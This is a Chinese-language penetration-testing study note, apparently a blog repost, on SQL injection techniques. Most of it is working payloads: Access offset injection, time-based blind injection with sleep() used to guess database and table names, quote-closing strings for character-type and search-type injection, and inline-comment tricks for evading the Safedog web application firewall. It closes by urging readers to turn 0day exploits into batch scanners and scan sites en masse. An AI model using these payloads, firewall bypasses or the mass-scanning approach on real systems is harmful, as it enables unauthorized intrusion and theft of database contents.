渗透学习笔记之access偏移注入

access偏移注入是解决一些注入出不来列名或者时的情况,同时要求支持union select ,列名也必须足够多,知道表名

access注入语句:

1 Order by *

2 a.id,b.id,* from (admin as a inner join admin as b on a.id = b.id)

这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回啦。不理解的查一查语法吧。
3 *代表了所有字段,如你查admin表,他有几个字段,那么*就代表几个字段

制作注入工具:

基于时间的SQL盲注----------延时注入

127.0.0.1/1.php?name=asd' and 1=2 union select sleep(5)

127.0.0.1/1.php?name=asd' and 1=1 union select sleep(5)

判断是否有注入,如果有注入 查询数据库延迟5秒

127.0.0.1/1.php?name=asd' and 1=2 union select 1,2,sleep(5) --%20

判断字段数,正确的就延迟

select * from news where id=1 union select sleep(if(length(database())=5,
2,0)),2,3;

确定数据库长度

select * from news where id=1 union select sleep(if(mid(database(),1,1)='x',2,0)),2,3;

确定数据库的第一个字段,依次猜数据

确定列名

select * from news where id=1 union select sleep(if(length(table_name)=3,

2,0)),2,3 from information_schema.tables where table_schema='sqlin' limit 0,1;

 

mysql> select * from news where id=1 union select sleep(if(mid(table_name,1,1)='

x',2,0)),2,3 from information_schema.tables where table_schema='sqlin' limit 1,1

 依次确定数据。。。

字符型注入 需要闭合前后单引号

id=1

union select * from sitie where  id = "id"

注入语句为: 1' union select 1,2,username from admin and '1' = '1

或者1' union select 1,2,username from admin -- -

搜索型注入

在数据库语句中语句为 union select * from sitie where  id like "%id%"

注入语句为: 1%' union select 1,2,username from admin and '%1%' = '%1

在渗透网站的时候有时会遇到一些被编码过后的参数,需要识别后才能注入,常见的有十六进制和base64编码,可以用小葵转换之后在进行注入

过狗注入

1 先尝试下不同的提交方式看下,有些时候,安全狗默认不开启检测cookie和post检测,可以尝试下

2 http头许多网站管理员不会开启,可以尝试下http头注入

3  like '%1%'和like'%cewcwe%'替代=判断注入 安全狗不拦截

4 突破 union select:/**/ // 3# -- - 用 注释突破
http://www.xxxx.com.cn/xxxx.php?id=1/*!union/*!*//*!select/*!*/1,/*!*/

突破安全狗查询 ,限于mysql 但是无法使用information_schema

只能猜解数据 将这些替换条件写进sqlmap 插件中可以做个过狗的插件。。。。

www.0day5.com,可以上这个网站看看最新的oday ,改写里面的exp改成批量扫描的,批量扫站

原文地址:https://www.cnblogs.com/fengganlmei/p/6755535.html